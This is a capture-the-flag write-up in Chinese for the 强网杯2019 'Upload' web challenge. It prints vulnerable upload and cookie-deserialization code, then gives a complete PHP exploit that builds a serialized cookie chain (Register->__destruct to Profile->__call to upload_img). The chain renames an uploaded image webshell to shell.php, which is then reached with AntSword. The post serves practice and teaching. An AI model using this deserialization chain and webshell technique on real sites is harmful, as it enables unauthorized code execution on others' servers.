强网杯2019 Upload

本文最后更新于:2024年7月23日 晚上

强网杯2019 Upload

目录扫描发现源码泄露 www.tar.gz

直接看文件上传部分的关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){ #登录检测,登录后才能进行文件上传操作
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){ #检查是否上传了文件,如果上传了文件进入该if语句
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) { #这个是文件后缀名,文件有后缀名就可以进入
if(getimagesize($this->filename_tmp)) { #这里判断文件类型使用了getimagesize
@copy($this->filename_tmp, $this->filename); #复制文件
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

这段代码将上传的文件的文件名修改为以.png结尾

并用getimagesize函数检查文件类型

getimagesize()会通过读取图片文件的头部信息来确定图片的大小和类型

所以需要上传图片马。

由于文件名被修改,图片马无法直接使用,

需要配合文件包含,或者将文件名修改为.php结尾。

在login_check函数中

1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile)); #这里有对cookie的反序列化操作
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

发现cookie是序列化的数据,网站读取cookie时会进行反序列化操作。

Register类中有__destruct方法

1
2
3
4
5
6
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}

因此可以把Register类当作反序列化的入口类。

再结合Profile类中的两个魔术方法

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

实现调用upload_img方法更改文件名。

反序列化链:

1
2
3
1. Register->__destruct
2. Profile->__call
3. Profile->upload_img

在网页源码中找到已经上传的图片马的路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace app\web\controller; //命名空间,这句必须有
class Register
{
public $checker;
public $registed;
}
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public $index;
}
$a=new Register();
$a->registed=false; //用于进入__destruct()中的if语句
$a->checker=new Profile();
$a->checker->checker=false; //跳过upload_img()中的第一个if,登录检测
$a->checker->index="upload_img"; //调用__call()时使$this->{$this->{$name}}($arguments)形成$this->upload_img($arguments)的效果
$a->checker->ext=1; //进入upload_img()中的第三个if
$a->checker->filename_tmp="./upload/c7129430ace4c05bd5bcee0bd02b538b/0a7b8575f81e6d28645879810e6f43a9.png"; //这里路径要注意,在网页源代码中得到的路径是基于/index.php/home.html的,文件操作源码的路径是/Profile.php,所以要去掉一个点
$a->checker->filename="./upload/shell.php"; //图片马的目标转移位置
echo base64_encode(serialize($a));

用生成的序列化字符串替换cookie

然后刷新网页。

访问http:/xxxxxxxxxxxxxxxx.node5.buuoj.cn/upload/shell.php

之后蚁剑连接->读取flag即可。


强网杯2019 Upload
http://example.com/2024/07/22/[强网杯2019] Upload/
作者
sawtooth384
发布于
2024年7月22日
许可协议